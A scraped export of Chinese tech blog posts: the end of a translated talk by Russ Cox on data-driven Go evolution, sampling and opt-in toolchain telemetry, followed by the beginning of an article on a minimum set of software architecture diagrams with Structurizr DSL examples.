不会非常惊讶！如果箱子正好分三分之一粉红色、蓝色和灰色，那么这9对颜色组合中的每一对都同样可能：\n得到一个非灰色吉祥物的机会是2/3，得到两个的机会就是2/3的平方，即4/9。没看到灰色的情况出现概率将近一半。这就是为什么我们不会非常惊讶的原因。\n现在假设我取出100只，有48只蓝色和52只粉红色。我再次估计箱子大约一半是蓝色，一半是粉红色。现在如果我告诉你箱子里有粉红色、蓝色和灰色的吉祥物，你会有多惊讶？你应该会非常惊讶。\n事实上，你完全不应该相信我。如果那是真的，得到100只连续的非灰色吉祥物的机会是2/3的100次方，约等于10的负48次方：\n随机出现这种情况的可能性为零。要么我在说谎，要么我没有随机抽取。可能所有的灰色吉祥物都在箱子底部，我没有抽取到足够深的地方。\n请注意：这都不依赖于箱子中有多少只Go吉祥物，它只取决于我们取出了多少只。用于特定预测精度的数学更复杂，但具有相同的效果：只有样本数量重要，箱子中的吉祥物数目不重要。\n一般来说，手工计算这些数学太困难了，所以这里有一个表格，你可以在我的博客上找到：\n它说明，如果你提取100个样本并根据这些样本估计百分比，那么90%的时间你的估计将在真实百分比的正负8%之内。99%的时间它们将在13%之内。如果像Go调查中那样有5000个样本，那么90%的时间估计误差在正负1%之内，99%的时间在正负2%之内。超过这个数量，我们实际上不需要更多样本。\n有一个注意事项是样本需要是随机的, 或者至少与你正在估计的内容不相关。你不能只从箱子的顶部抽取吉祥物，然后对整个箱子做出断言。\n如果你避免了这个错误, 那么当你试图估计一个新的API是否有用或者某个特定的vet check是否值得的时候, 花一个小时左右手动检查100个样本是合理的。如果是一个坏主意, 那将很快显现出来。而如果看起来是一个好主意, 再花几个小时检查更多的样本, 无论是手动检查还是用程序检查，都会大大提高你的估计准确性。与做出错误决策的代价相比，这是一个非常小的成本。\n简而言之，采样的魔力在于将许多一次性估计转变为可以手动或用少量数据完成的工作。这就是为什么我们已经看到的所有数据来源都能够相当好地代表整个Go开发者群体的原因。\n现在进入演讲的第三部分：Go工具链中的遥测(Telemetry)：\n遥测也将是Go开发者使用的一个小样本，但它应该是一个有代表性的样本，并且回答不同的问题，而不是调查和代码分析所做的问题。\n遥测始终是一个有争议的话题，特别是对于开源项目来说，所以让我从最重要的细节开始说起：上传遥测报告是完全自愿和选择加入的：\n除非你运行一个显式命令选择加入数据收集，否则不会上传任何数据。而且，这不是那种上传你的全部活动的详细跟踪的遥测系统。这种遥测也只适用于我们作为Go发行版的一部分分发的命令，比如gopls、go命令和编译器(compiler)，它不会涉及你构建的任何程序。\n在我更详细地描述完这个系统之后，我希望你会发现你会愿意选择加入这个遥测系统。实际上，我们给自己设定的主要设计限制是，即使由其他人运行，我们也愿意选择加入该系统。\n在我以2023年11月的录制这个内容时，该系统刚刚开始运行，只有少数人被要求在VSCode Go中选择加入gopls遥测。所以总体来说，你现在还不能选择加入。但希望很快你就可以了。\n在我们深入了解细节之前，遥测的动机是它提供了与调查和代码分析不同的信息。它主要提供的两个类别是使用信息(Usage Information)和故障信息(Breakage Information)。调查让我们能够询问关于Go使用的广泛问题，但对于详细的使用信息来说并不好。那将是太多问题，对于调查对象来说，90%的问题要回答”no”是一种浪费时间。\n这个幻灯片显示了我们在之前的版本中警告过即将删除的Go功能列表。列表中的最后一项，buildmode=shared，是我们试图移除的功能，但在事先警告后，至少有一个用户提出了异议，我们将其保留了下来。即便如此，buildmode=shared与Go module基本不兼容，所以它的使用可能非常有限。但我们没有数据，所以它仍然存在于代码库中。遥测可以为我们提供基本的使用信息，以便我们可以基于数据而不是猜测做出这些决策。\n另一个重要的类别是故障信息：\n如果Go工具链明显有问题，我们希望在GitHub上收到错误报告。但是Go工具链也可能以用户注意不到的微妙方式出现问题。一个例子是，在macOS上的Go 1.14到Go 1.19的版本中，标准库包的二进制文件在预先构建时使用了非默认的编译标志，这是一个意外，这使得它们看起来像是过时了，Go命令在运行时会重新编译它们，这意味着如果你的程序导入了net包，你需要安装Xcode中的C编译器来构建程序。我们希望Go能够自行构建纯Go程序，而无需其他工具链。因此，要求安装Xcode是一个bug。但是我们没有注意到这个问题，也没有用户在GitHub上报告它。遇到这个问题的人似乎只是安装了Xcode并继续进行了工作。遥测可以提供基本的性能指标，比如标准库缓存命中率，这样Go工具链的开发人员即使用户没有意识到这个问题，也能注意到这个问题。\n另一个例子是编译器的内部崩溃：\nGo编译器在程序的第一个错误处不会停止。它会继续进行，尽可能多地查找和报告不同的错误。但是有时，继续分析已知错误的程序会导致意外的panic。我们不希望向用户显示这样的崩溃。相反，编译器会从panic中恢复，并且仅报告已经发现的错误。这样，Go用户可以纠正这些错误，这也可能纠正隐藏的panic。用户的工作不会因为看到编译器崩溃而中断。这对用户来说是好的，但是Go工具链的开发人员仍然希望了解这个崩溃并修复这个错误。遥测可以确保即使用户不知道这个错误，但我们还能了解到这个错误。\n为了收集使用情况和故障信息，Go遥测设计记录“计数器和崩溃”：\n像go命令、Go编译器或gopls这样的Go工具链程序可以定义命名事件计数器，并在事件发生时递增计数器。事件还可以按堆栈跟踪单独计数。这些计数器在本地的磁盘文件中维护，每次保留一周的时间。在幻灯片上，gopls和其他工具正在将计数器写入每周的文件中。\n每周一次，Go工具链中的上传程序(uploader)将从遥测服务器获取一个“上传配置”，其中列出了该周收集的特定事件名称。只有在遥测特定的提案审查过程达成共识后，才会更改该配置。该配置作为一个模块(module)提供，以保护下载的完整性，并保留过去配置的公共记录。然后，上传程序仅上传上传配置中列出的计数器。在幻灯片上，上传程序仅为gopls发送一份报告，仅包含少量计数器，即使磁盘上可能还有更多计数器。报告中包含关于使用gopls的编辑器的统计信息，以及关于完成请求的延迟的信息，还有一个发生了一次的gopls/bug事件，其中包含一个栈跟踪。\n请注意，上传的数据中没有事件跟踪或任何用户数据，只有计数器、已在公共上传配置中列出的事件名称，以及Go工具链程序中的函数名称。还要注意，栈跟踪不包括任何函数的参数，只有函数名称，因此没有用户数据。\n开源中的遥测可能会在拥有数据访问权限和没有数据访问权限的人之间产生信息失衡。我们希望避免这种情况。请记住奥斯特豪特规则：为了达成共识，我们需要每个人拥有相同的信息。由于Go的遥测上传不包含任何敏感数据，并且是在明确的选择同意的情况下收集的，我们可以完整地重新发布这些报告，以便任何人都可以进行任何数据分析。我们还将发布一些基本的图表，用于做出决策。我们唯一可能看到但没有重新发布的是报告来自哪些IP地址，我们的服务器会将这些信息与报告一起记录。\n一个明显的问题是，是否有足够多的人选择启用遥测，以使数据足够准确以做出决策。幸运的是，采样的神奇之处在于可以帮助解决这个问题。\n全球大约有300w Go开发者。当系统准备就绪并要求人们启用遥测时，即使只有千分之一的开发者选择参与，也会有3000名开发者，根据我们的图表显示，误差不到3%，置信度为99%。如果全球三分之二的Go开发者启用了遥测，那将是20000个样本，误差不到1%，置信度为99%。除此之外，我们实际上不需要更多的样本。如果我们持续获得更多的报告，我们可以调整上传配置，告诉系统在某个特定的周选择随机不上传任何东西。例如，如果有20万个系统选择了参与，我们可以告诉每个系统在任何给定的周上传的概率为10%。因此，即使我们预计选择参与率会很低，系统应该能够运行得很好，随着选择参与率的提高，Go遥测将从任何给定系统收集更少的数据。当然，这使得每个选择参与的人对我们来说更加重要。目前来说，Go遥测对于你们中的任何人来说都还没有准备好，但当准备好时，我希望你们会选择参与。\n在结束之前，我希望你们从演讲中获得以下几点：\n首先，Go需要不断变化，特别是随着计算世界的变化。\n其次，任何改变的目标都是为了使Go在软件工程中变得更好，尤其是在规模化(scaling)方面。\n第三，一旦我们确定了目标，达成共识的下一个最重要的部分是拥有共享数据来做出决策。\n第四，Go工具链遥测是增补我们现有调查和代码分析数据的重要数据来源。\n最后，在整个演讲中，虽然涉及到了数据和适当的统计，但我们评估的想法、假设和潜在的变化始终始于个人故事和对话。我们喜欢听到这些故事，并与你们所有人讨论如何使用Go，关于什么有效和什么无效。所以，请无论在什么情况下，无论是在会议上、邮件列表上还是在问题跟踪器上，请确保让我们知道Go对你们的工作情况以及存在的问题。我们总是很乐意听到这些。非常感谢。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/12/10/go-changes/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-changes-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/12/10/go-changes\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/12/10/go-changes\"\u003ehttps://tonybai.com/2023/12/10/go-changes\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e自从Go语言之父Rob Pike从Google退休并隐居澳洲后，Russ Cox便成为了Go语言团队的“带头大哥”，虽然其资历还无法与依旧奋战在一线的另外一位Go语言之父Robert Griesemer相比。如今，Russ Cox对Go语言未来的演化发展是很有“发言权”的，Go module的引入便是Russ Cox的重要决策之一。从Go社区来看，这些年来，以Russ Cox为首的Go团队对Go演进决策总体上是良性的、受欢迎的，比如Go module、Go泛型、Go对wasm的支持等，当然也有一些变化是受到质疑的，比如：\u003ca href=\"https://github.com/golang/go/issues/60078\"\u003eGo 1.22版本很可能从试验特性到正式特性的loopvar等\u003c/a\u003e。\u003c/p\u003e","title":"Go未来演进：基于共同目标和数据驱动的决策"},{"content":"\n本文永久链接 – https://tonybai.com/2023/12/06/a-minimum-set-of-diagrams-for-expressing-software-architecture\n无论你是专职的软件架构师，还是在团队内兼职充当软件架构师角色的开发人员，一旦你处在软件架构师这个位置上，你自然就会遇到软件架构设计的三个困惑：\n如何更深刻地理解业务； 如何更正确地取舍(包括技术性和业务性的)； 如何更有效地表达软件架构。 以上每个困惑展开来写都够写一本书的。而在这篇文章中，我仅聚焦最后一个困惑，聊聊我心目中表达软件架构的有效方式 — 最小图集(Minimum Diagram Set)。\n1. 为什么软件架构需要有效表达 众所周知，软件架构承载着系统关键的技术决策和业务约束，指导着复杂软件的构建与演进，是实现软件系统的蓝图。但并不是说有了好的软件架构就一定可以做出好的软件系统，软件系统最终还是要经由开发人员来实现。\n如果说架构师是软件架构的生产者，那么开发人员可以理解为是软件架构的消费者。但和一件普通商品一样，往往消费者很难Get到产品设计者的全部idea，产品越复杂，消费者Get到的比例越低，于是商品的生产者就会绞尽脑汁地制作产品说明书、功能演示视频等，目的就是想从不同角度更多、更有效的表达自己的商品的特性。对于普通商品而言，消费者Get程度低顶多是少用几个功能特性；但对于架构师生产的“产品”：架构设计成果而言，如果其消费者开发人员Get的程度低，那影响就会很严重，甚至可能会导致软件系统的开发彻底失败。\n并且更不幸的是：我们的软件系统都是“复杂产品”。这样，如何表达和解读软件架构，弥合生产者与消费者之间的Gap，让开发者更多更深刻的理解软件架构这件“产品”便成为了架构师的困惑，日常架构设计工作中的难题，也是业界探索的重要课题。\n架构设计是架构师与开发者之间的协议，只有有效的、充分的表达，协议才能被共识理解和忠实执行。业界在有效表达软件架构这条路上摸索了很多年，下面简单说说架构设计表达的演进历程。\n2. 软件架构表达方式演进简史 软件架构表达的目的就是要直观地传达架构设计人员的思想和意图，使开发团队可以达成对架构设计的一致理解，促进各个团队协作，并作为开发人员编写代码以及管理人员推进项目的重要指导与参考。\n2.1 自然语言描述 在软件工程的早期阶段，软件架构设计通常使用自然语言（如英语）进行描述。架构师会使用文档、规范和书面记录来表达架构设计的概念、原则、结构、组件和交互。然而，自然语言描述存在歧义性、解释性不足、理解起来较慢的问题，可能导致误解和沟通障碍。\n2.2 图形化表达 人类大脑中传输的信息90%是视觉信息，其处理图形的速度要比处理文字的速度快上万倍。于是随着软件架构的复杂性增加，人们开始采用更直观、更易理解的图形化方法来描述架构设计(并辅以自然语言的文字描述)。\n提到图形化表达，最简单的方法就是使用一支笔+一张白纸，基于自己“创造”的符号绘制草图(Sketch，以下草图来自c4model.com)：\n这种非规范的框线草图虽然提供了灵活性，但付出的代价却是一致性，因为大家都在创造自己的制图符号，而不是使用统一的标准。\n2.3 结构化的图形表达 结构化图是在设计表达迈向标准化方面走出的重要一步。结构化图包括数据流图、控制流图、层次图、组件图等，用于可视化表示系统的组件、模块、依赖关系和交互流程等(下图中元素来自维基百科)。\n作为一种可以直观可视化描述与沟通架构设计的方式，结构化图形成为了表达架构设计的常见方法之一。不过，早期结构化表达的类型有限，无法涵盖所有环节，有的也没有形成标准，为了提高标准化程度，满足架构设计表达的全部需求，人们在二十世纪末推出了大一统的图形化建模语言UML。\n2.4 统一建模语言(UML) 统一建模语言（Unified Modeling Language，UML）是一种通用的标准化、图形化建模语言，广泛用于软件架构和设计的表示，在软件架构表达方法方面具有里程碑意义：\nUML第一次在规范层面对图形表示进行了标准化，它提供了一组规范化的图形符号，用于描述系统的结构、行为和交互。在那个Rational统一过程（RUP）以及面向对象设计方法如日中天的时代，人们每每进行设计时，言必称使用UML。UML在图形化、标准化表达设计图方面走到了至今为止都无人企及的高峰。\n但是，20多年后的今天，UML并没有成为当时标准出品方期望的那个样子，没能成为表达软件系统设计的主流符号系统。也许是它的复杂性阻碍了有效沟通，让人们看到它的spec后就“望而却步”了。不过UML并没有死掉，它依然活着，UML规范中的一些图(Diagram)依然被大家常用，比如：序列图(Sequence Diagram)、用例图(Use Case Diagram)、类图(Class Diagram)等。\n2.5 形式化表达 业界在寻求图形化表达标准化的同时，也有一个分支在寻求用自然语言的“标准化”表达方法，这就是软件架构设计的形式化表达，在这个领域形成的语言被称为架构描述语言(ADL)。ADL提供了一组特定的语法和语义规则，用于定义系统的组件、接口、依赖关系、行为和性能特征。ADL使架构师能够使用精确的语言来表达和分析架构设计，支持自动化的验证和分析工具，在学术研究这个小众领域还是很有受众的。不过，显然在大多数工程化淋雨，形式化表达门槛太高，对于软件架构在团队内快速有效建立共识起不到什么作用。\n下面是一些ADL的实现，感兴趣的童鞋可以了解一下：\nxArch/xADL ACME AADL 2.6 多视角的表达 有了UML这个前车之鉴后，人们似乎也放弃了在图记号“标准化”之路上的继续探索了，而是回归问题本源：怎么有效，就怎么来。\n在工程实践中，人们认清了一个事实：很难在一张大图(Diagram)中进行软件架构设计的有效表达。于是大家开始采用“盲人摸象”的策略，将一个架构按不同视角表达为不同的图(Diagram)，这样当开发人员将多个视角形成的图都理解后，也就理解了整个架构设计。\n按照这个多视角表达的思路(也被称为是一种软件架构建模思路)，业界先后出现了：\nKruchten 4+1 views 逻辑视图（Logical View）关注系统的功能和功能模块，描述系统中各个模块之间的关系、接口和行为。它展示了系统的静态结构和动态行为，以及模块之间的通信和信息流。\n进程视图（Process View）描述系统的并发和分布式特性，关注系统中的进程、线程、任务以及它们之间的关系和通信。该视图展示了系统的并发性、性能、可伸缩性等方面。\n物理视图（Physical View）描述系统在硬件和软件环境中的部署和分布情况，包括物理设备、网络拓扑、软件组件的部署位置等。它关注系统的部署架构、可靠性、安全性等方面。\n开发视图（Development View）关注系统的软件开发过程和组织结构，描述软件模块的组织、构建、测试和部署过程。它展示了软件开发团队的组织结构、开发工具、版本控制等方面。\n场景视图（Scenario View）描述系统在特定使用情境下的行为和交互，以用户场景、用例或故事来说明系统的功能和行为。它帮助验证和验证系统架构的正确性和适应性。\nC4 model C4模型是一种简洁、易于理解的软件架构建模方法，由Simon Brown提出。它通过四个层次的视图来描述软件系统的不同方面，包括语境视图(Context Diagram，这里借鉴了《程序员必读之软件架构》)一书中对Context的翻译)、容器视图(Container Diagram)、组件视图(Component Diagram)和代码视图(Code Diagram)，如下图所示：\n语境视图是最高层级的视图，用于描述软件系统与外部实体之间的关系和交互。它展示了系统所处的环境和与外部实体（如用户、其他系统、第三方服务等）的关系，以及它们之间的交互方式。\n容器视图关注系统内部的软件容器及其之间的关系和交互。容器可以是物理的、虚拟的或逻辑的，它们承载着系统中的组件或服务。容器可以是应用程序、数据库、消息队列、Web服务等。容器视图描述了系统的主要部件，以及它们之间的依赖关系和通信方式。\n组件视图进一步展开容器视图中的组件，描述系统内部的组件及其之间的关系和交互。组件视图展示了系统的模块、类、库或其他可重用的软件单元，并显示它们之间的依赖关系、接口和通信方式。\n代码视图是最底层的视图，关注具体的代码实现细节。它用于描述系统中的类、函数、方法等代码单元的结构、关系和实现细节。代码视图可以是面向对象的类图、模块图或其他代码组织结构的表示方式，用于帮助开发人员理解和浏览源代码。\n下面示意图可以更直观的展示出语境、容器、组件以及代码之间这种逐渐“展开”的层次关系：\n通过C4模型的这四个层次的视图，架构师可以逐渐深入地描述和表达软件系统的不同层次和组成部分，从整体到细节，帮助团队成员和利益相关者更好地理解和沟通软件架构。\nArc42 Arc42是一种用于软件架构文档化的模板和方法，它提供了一套规范和指导原则来描述软件系统的架构。下面是Arc42的全景图：\n我们看到：Arc42模板也包含了多个视图，每个视图都关注系统架构的不同方面，包括Context、Building Block View、Runtime View以及Deployment View等。\nContext View：描述系统与其外部环境之间的关系和交互，强调边界的概念，分为技术Context与业务Context。\n部署视图（Deployment View）描述了系统的部署架构和环境，包括物理设备、服务器、网络拓扑以及协议等信息。\n构件视图（Building Block View）描述了系统内部的组件、模块、子系统、包等，并展示它们之间的关系和依赖。构件视图是源码结构的概览。\n运行时视图（Runtime View）描述了系统在运行时的行为和交互以及具体场景下对其他构件的运行时依赖。使用序列图、状态图等方式可展示系统的运行时行为。\n2.7 Diagrams As Code 架构设计不是一成不变的，需要不断演进，因此架构视图也需要“与时俱进”的更新。但直接更新图片格式似乎很不方便，也无法在形式上很好的达成一致，于是一些基于DSL语法生成架构设计图(Diagram)的工具便涌现了出来，比如：PlantUML、Structurizr、Mermaid等。有了这些工具，架构师便可以使用文本编辑器来“画图”，支持“所见即所得”。并且由于Diagrams As Code(代码即图)，我们可以将架构设计图与版本控制系统很好地集成。\n到这里，我们知道了基于多视角+“Diagrams As Code”是目前的主流的架构设计表达和实践方法，那么我们在软件架构表达实践中，究竟选择哪几个视角来表达呢？这个目前没有统一标准。调研了4+1 Views、C4 model以及Arc42后，我这里说说自己日常做架构表达时使用的最小视图集。\n3. 最小图集 很多读者可能听说或学习过或实践过金字塔写作，金字塔写作原理是一种用于新闻报道和科技写作的写作方法，它的核心思想是将最重要的信息放在文章的开头，然后逐渐向下展开，提供更多的细节和背景信息。\n金字塔写作的优势在于：\n它可以迅速吸引读者的注意力，让读者在最短时间内了解文章的核心内容； 它还可确保信息传递：将最重要的信息放在开头，可以避免读者在阅读过程中错过关键信息或迷失在细枝末节中，确保信息有效地传达给读者； 它还具备灵活性和可定制性，不要求严格按照一个固定的结构来组织文章，而是提供了一种基本的思路和原则，可以根据具体情况进行调整和定制，以适应不同的写作需求和读者群体。 我理解，金字塔写作方法之所以能够成功，其本质是站在了读者的角度去思考问题，想读者之所想，做读者之所需。\n软件架构表达的目的也是让开发人员快速深入的理解架构，与设计人员达成共识，指导后续软件系统的实现。所以要想形成有效表达，我们就需要像金字塔写作那样站在开发人员的角度来考虑架构表达，借鉴金字塔原理，自上而下，先表达最重要的信息，然后逐渐向下展开，避免开发人员在理解过程中错过关键信息或迷失在细枝末节当中。\n综合前面介绍的多种Views的方法，我们觉得软件架构表达的起点，即第一个图必须是语境图(Context Diagram)。\n3.1 语境图(Context Diagram) 语境图表达的是系统最高的抽象层次，是最高视角，全局视角。通过语境图，可以解决开发人员在内心中提出的下面问题：\n我们构建的（或已经构建的）软件系统是什么(What)？ 谁会用它？ 如何融入已有的IT环境？ 系统的边界是什么？（业务的，技术的) 语境图不会也不应该展示太多细节，它是软件系统设计图的起点。后续的图都是用“放大镜”将我们的系统放大后的细节的表达。当牵涉到理解系统间接口的问题时，语境图还可以为你识别可能需要沟通的人提供了一个起点。\n语境图向开发者展现的重点在于软件系统的范围以及与外部的交互行为（用户\u0026lt; – \u0026gt;系统、系统\u0026lt; – \u0026gt;系统等等）。下面是使用structurizr绘制的一个语境图的实例：\n语境图中心蓝色的矩形框代表的是我们的软件系统，上方的user、role、actor是我们的软件系统的用户；client是与我们的软件系统交互的系统，是系统到系统交互的一个代表；在我们的软件系统、Inner System1和Inner System2之外有一个虚线框，代表了企业范围；而Inner System1和Inner System2是我们的软件系统在企业内部依赖的系统；同时，我们的软件系统还依赖企业外部的Outer System1和Outer System2。\n上述语境图对应的structurizr dsl代码如下：\n// system context diagrams workspace { model { u = person \u0026quot;User\u0026quot; r = person \u0026quot;Role\u0026quot; a = person \u0026quot;Actor\u0026quot; c = softwareSystem \u0026quot;Client Software System\u0026quot; { tags \u0026quot;client\u0026quot; } enterprise = group \u0026quot;Enterprise A\u0026quot; { s = softwareSystem \u0026quot;Our Software System\u0026quot; { tags \u0026quot;server\u0026quot; } d1 = softwareSystem \u0026quot;Inner System1\u0026quot; { tags \u0026quot;dep\u0026quot; } d2 = softwareSystem \u0026quot;Inner System2\u0026quot; { tags \u0026quot;dep\u0026quot; } } d3 = softwareSystem \u0026quot;Outer System1\u0026quot; { tags \u0026quot;dep\u0026quot; } d4 = softwareSystem \u0026quot;Outer System2\u0026quot; { tags \u0026quot;dep\u0026quot; } u -\u0026gt; s \u0026quot;Uses\u0026quot; r -\u0026gt; s \u0026quot;Uses\u0026quot; a -\u0026gt; s \u0026quot;Uses\u0026quot; c -\u0026gt; s \u0026quot;Call\u0026quot; s -\u0026gt; d1 \u0026quot;Uses\u0026quot; s -\u0026gt; d2 \u0026quot;Uses\u0026quot; s -\u0026gt; d3 \u0026quot;Uses\u0026quot; s -\u0026gt; d4 \u0026quot;Uses\u0026quot; } views { systemContext s { include * autoLayout } styles { element \u0026quot;server\u0026quot; { background #1168bd color #ffffff } element \u0026quot;dep\u0026quot; { background #e5e4e2 color #000000 } element \u0026quot;client\u0026quot; { background #e5e4e2 color #000000 } element \u0026quot;Person\u0026quot; { shape person background #08427b color #ffffff } } } } 基于语境图，就好比我们站在万米高空一览Our Software System。不过对于架构设计表达来说，这还不够，现在是时候下降高度让视野进入到系统内部去挖掘一些细节了。\n3.2 容器图(Container Diagram) 在从万米高空的系统全局视角了解了我们的软件系统是什么后，我们将第一次进入到系统内部。我们现在所处的高度是100米，在这个高度上，可以清晰地看到软件系统的整体形态、内部脉络、技术选择、职责分布以及各个部分之间是如何交流的。我们将每个部分称为一个容器(container)。一个容器通常可以表示一个应用/服务或数据存储，如果你的软件系统采用了微服务架构，那么将每个服务作为一个容器通常是可行的。\n针对每个容器，我们可以设置它的属性：名字(如Web App、API网关、关系数据库存储、订阅服务等）、实现技术(如mvc等)以及功能性的描述。在容器间的联系上我们可以附加上通信方式(json over http、gRPC、websocket等)。\n下面是上面语境图中的My Software System的容器图：\n在这个容器图中，我们看到了系统支持通过Web app和mobile app访问和使用；系统的入口使用了API网关；系统内部分为业务服务和基础服务，基础服务封装了到关系数据库、对象存储(oss)的接口(关系数据库和oss都是技术选择)；业务服务可以调用企业内部服务，亦可调用企业外部服务，并且明确了调用方式。\n下面是生成上述容器图的structurizr的代码：\n// container diagrams workspace { model { u = person \u0026quot;User\u0026quot; enterprise = group \u0026quot;Enterprise A\u0026quot; { s = softwareSystem \u0026quot;Our Software System\u0026quot; { tags \u0026quot;server\u0026quot; mobileApp = container \u0026quot;Mobile App\u0026quot; { tags \u0026quot;container\u0026quot; } webApp = container \u0026quot;Web App\u0026quot; { tags \u0026quot;container\u0026quot; } apiGw = container \u0026quot;API Gateway\u0026quot; { tags \u0026quot;container\u0026quot; } biz1 = container \u0026quot;Business Service 1\u0026quot; { tags \u0026quot;container\u0026quot; } biz2 = container \u0026quot;Business Service 2\u0026quot; { tags \u0026quot;container\u0026quot; } biz3 = container \u0026quot;Business Service 3\u0026quot; { tags \u0026quot;container\u0026quot; } base1 = container \u0026quot;Base Service 1\u0026quot; { tags \u0026quot;container\u0026quot; } base2 = container \u0026quot;Base Service 2\u0026quot; { tags \u0026quot;container\u0026quot; } base3 = container \u0026quot;Base Service 3\u0026quot; { tags \u0026quot;container\u0026quot; } rds = container \u0026quot;Relational Database system\u0026quot; { tags \u0026quot;container\u0026quot; } oss = container \u0026quot;Object Storage Service\u0026quot; { tags \u0026quot;container\u0026quot; } } d1 = softwareSystem \u0026quot;Inner System1\u0026quot; { tags \u0026quot;dep\u0026quot; } d2 = softwareSystem \u0026quot;Inner System2\u0026quot; { tags \u0026quot;dep\u0026quot; } } d3 = softwareSystem \u0026quot;Outer System1\u0026quot; { tags \u0026quot;dep\u0026quot; } d4 = softwareSystem \u0026quot;Outer System2\u0026quot; { tags \u0026quot;dep\u0026quot; } u -\u0026gt; mobileApp \u0026quot;Uses\u0026quot; u -\u0026gt; webApp \u0026quot;Uses\u0026quot; mobileApp -\u0026gt; apiGw \u0026quot;Makes API calls to\u0026quot; \u0026quot;JSON/HTTPS\u0026quot; WEBApp -\u0026gt; apiGw \u0026quot;Makes API calls to\u0026quot; \u0026quot;JSON/HTTPS\u0026quot; apiGw -\u0026gt; biz1 \u0026quot;Route API calls to\u0026quot; \u0026quot;gRPC\u0026quot; apiGw -\u0026gt; biz2 \u0026quot;Route API calls to\u0026quot; \u0026quot;gRPC\u0026quot; apiGw -\u0026gt; biz3 \u0026quot;Route API calls to\u0026quot; \u0026quot;gRPC\u0026quot; biz1 -\u0026gt; base1 \u0026quot;Inner API calls to\u0026quot; \u0026quot;gRPC\u0026quot; biz1 -\u0026gt; base2 \u0026quot;Inner API calls to\u0026quot; \u0026quot;gRPC\u0026quot; biz2 -\u0026gt; base2 \u0026quot;Inner API calls to\u0026quot; \u0026quot;gRPC\u0026quot; biz2 -\u0026gt; base3 \u0026quot;Inner API calls to\u0026quot; \u0026quot;gRPC\u0026quot; biz3 -\u0026gt; base3 \u0026quot;Inner API calls to\u0026quot; \u0026quot;gRPC\u0026quot; base1 -\u0026gt; rds \u0026quot;Reads from and writes to\u0026quot; \u0026quot;Raw SQL\u0026quot; base1 -\u0026gt; oss \u0026quot;Reads from and writes to\u0026quot; \u0026quot;HTTPS\u0026quot; base2 -\u0026gt; rds \u0026quot;Reads from and writes to\u0026quot; \u0026quot;Raw SQL\u0026quot; base3 -\u0026gt; oss \u0026quot;Reads from and writes to\u0026quot; \u0026quot;HTTPS\u0026quot; biz1 -\u0026gt; d1 \u0026quot;Make API calls to\u0026quot; \u0026quot;HTTP\u0026quot; biz2 -\u0026gt; d3 \u0026quot;Make API calls to\u0026quot; \u0026quot;HTTP\u0026quot; biz3 -\u0026gt; d2 \u0026quot;Make API calls to\u0026quot; \u0026quot;HTTP\u0026quot; biz3 -\u0026gt; d4 \u0026quot;Make API calls to\u0026quot; \u0026quot;HTTP\u0026quot; } views { container s { include * autoLayout } styles { element \u0026quot;server\u0026quot; { background #1168bd color #ffffff } element \u0026quot;container\u0026quot; { background #1168bd color #ffffff } element \u0026quot;dep\u0026quot; { background #e5e4e2 color #000000 } element \u0026quot;Person\u0026quot; { shape person background #08427b color #ffffff } } } } 注：在容器图这个层次上，group关键字没有起作用，导致企业内部服务与外部服务放在一起了。\n按照C4 model的思路，接下来我们会再下降高度，来到10米的高空，进入到某个容器的内部。但容器内部的设计在我看来属于详细设计范畴，如果采用的是微服务架构，那么容器内部的设计就相当于某个服务的设计。所以这里，我并未将这部分作为架构表达的必需之图。\n3.3 序列图(Sequence Diagram) 无论是语境图，还是容器图，从大类来看，都属于静态的结构图。但做过软件系统设计和研发的童鞋都知道，仅有静态的表达还是不够的，不足以传达软件系统的所有信息，我们还需要对动态行为的表达。这就是为什么我将序列图作为软件表达最小图集一份子的原因。\n可能有些人将序列图作为需求分析阶段的产物，其实，序列图既可以在需求阶段产生，也可以在架构设计阶段产生。它在不同阶段有不同的应用和目的。\n在需求阶段，序列图被用于描述系统的功能需求和行为。它可以帮助分析和定义系统的用例或用户故事，以及系统与外部实体（如用户、其他系统、服务等）之间的交互过程。通过序列图，需求分析人员和开发团队可以更清晰地理解系统的功能需求，并就用户与系统之间的交互进行沟通和确认。\n在架构设计阶段，序列图被用于描述系统的结构和组件之间的交互。在这个阶段，序列图通常用于展示系统的运行时行为、组件之间的消息传递和调用关系。架构师使用序列图来验证系统的设计方案，确保系统的各个组件按预期互相协作，并满足功能和性能要求。\n这里的序列图，可以对应前面的Arc42的Runtime View，以及C4 model的Dynamic Diagram。\n序列图也是UML语言中最常被使用的一种Diagram，即便是在UML不那么被提及的今天，我个人也推荐使用UML的序列图来表达，而不推荐用structurizr来画了，structurizr在序列图方面的表达能力还是弱了许多。\n你可以用你最喜欢的画图工具来绘制UML序列图（比如我经常用的drawio），也可以选择plantuml这种基于DSL语法生成序列图的方式来绘制。plantuml对序列图的支持还是非常好的，支持了序列图的大多数元素，可以绘制出非常复杂的图来(下图来自plantuml官网)：\n针对一个复杂的软件系统，我们可能需要针对不同的Container(或更进一步的组件)绘制较多的序列图，至少要覆盖到软件系统各个Container的核心交互流程。\n3.4 部署图(Deployment Diagram) 